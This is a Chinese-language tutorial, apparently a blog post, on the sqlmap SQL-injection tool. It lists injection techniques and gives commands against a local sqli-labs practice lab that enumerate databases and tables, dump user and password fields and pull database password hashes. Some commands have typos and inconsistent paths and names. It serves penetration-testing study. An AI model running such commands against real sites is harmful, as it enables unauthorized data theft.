1、Sqlmap简介:
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
2、Sqlmap支持的注入方式:
Sqlmap全面支持六种SQL注入技术:
基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入:在可以使用Union的情况下的注入。
堆查询注入:可以同时执行多条语句时的注入。
带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
3.sqlmap基础使用
参数
-- dbs 显示所有数据库名称
-D (数据库名) 选则数据库
--tables 显示所有的表
-T (表名) 选择表
--columns 显示所有的字段
-C (字段名) 选择字段
--dump 显示字段内容
1、判断是否存在注入
sqlmap.py -u url
(如果注入点后面的参数大于等于两个,需要加双引号)
2、判断文本中的请求是否存在注入
Sqlmap.py -r desktop/1.txt
一般在存在cookies注入的情况下使用
3、查询当前用户下的所有数据库
sqlmap.py -u url --dbs
确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有相关数据库。
4、获取数据库中的表名
sqlmap.py -u “url” -D dkeye(具体数据库) --tables
如果不加入-D来指定某一个数据库,那么会列出数据库中的所有的表。继续注入时缩写成—T,在某表中继续查询
5、获取表中的字段名
sqlmap.py -u “url” -D dkeye -T user_info(具体表名) --columns
查询完表名后,查询该表中的字段名,在后续的注入中,—columns缩写成-C
6、获取字段内容
sqlmap.py -u “url” -D dkeye -T user_info(具体表名) -C usrname password(具体字段) --dump
7、获取数据库所有用户
sqlmap.py -u url --users
列出数据库所有用户,如果当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
8、获取数据库用户的密码
sqlmap.py -u url --passwords
如果当前用户有读取包含用户密码的权限,sqlmap会先例举出用户,然后列出hash,并尝试破解。
9、获取当前网站数据库的名称
sqlmap.py -u url --curerent-db
使用该命令可以列出当前网站使用的数据库
10、获取当前网站数据库的用户名称
sqlmap.py -u url --current-user
使用该命令可以列出当前网站使用的数据库用户
4.操作
Less-1为例
1.判断是否存在注入:
假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1
,判断其是否存在注入的命令如下:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
2.查看数据库名称
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
当继续注入时,--dbs
缩写成-D xxx
,其意思是在xxx数据库中继续查询其他数据。
3.获取表名
列出了6个数据库名称,看到有一个 security的数据库,看看它有什么表。用 -D
选择数据库 security。再用 --tables 参数显示所有表名。
sqlmap.py -u http://127.0.0.1/sqlis/Less-1/?id=1 -D ctftraining --tables
当继续注入时,--tables
缩写成-T
,意思是在某表中继续查询
4。获取字段名
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns
在后续的注入中,--columns
缩写成-C
。
5.获取字段内容
6.获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users
7.获取数据库用户的密码:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --passwords
密码使用了MySQL5加密,可在网站中自行解密(自带的解密很慢)。
8、获取当前网站数据库的名称:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db
使用该命令可以列出当前网站使用的数据库
可以看到数据库是security。
9.获取当前网站数据库的用户名称:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user
使用该命令可以列出当前网站使用的数据库用户
用户是root。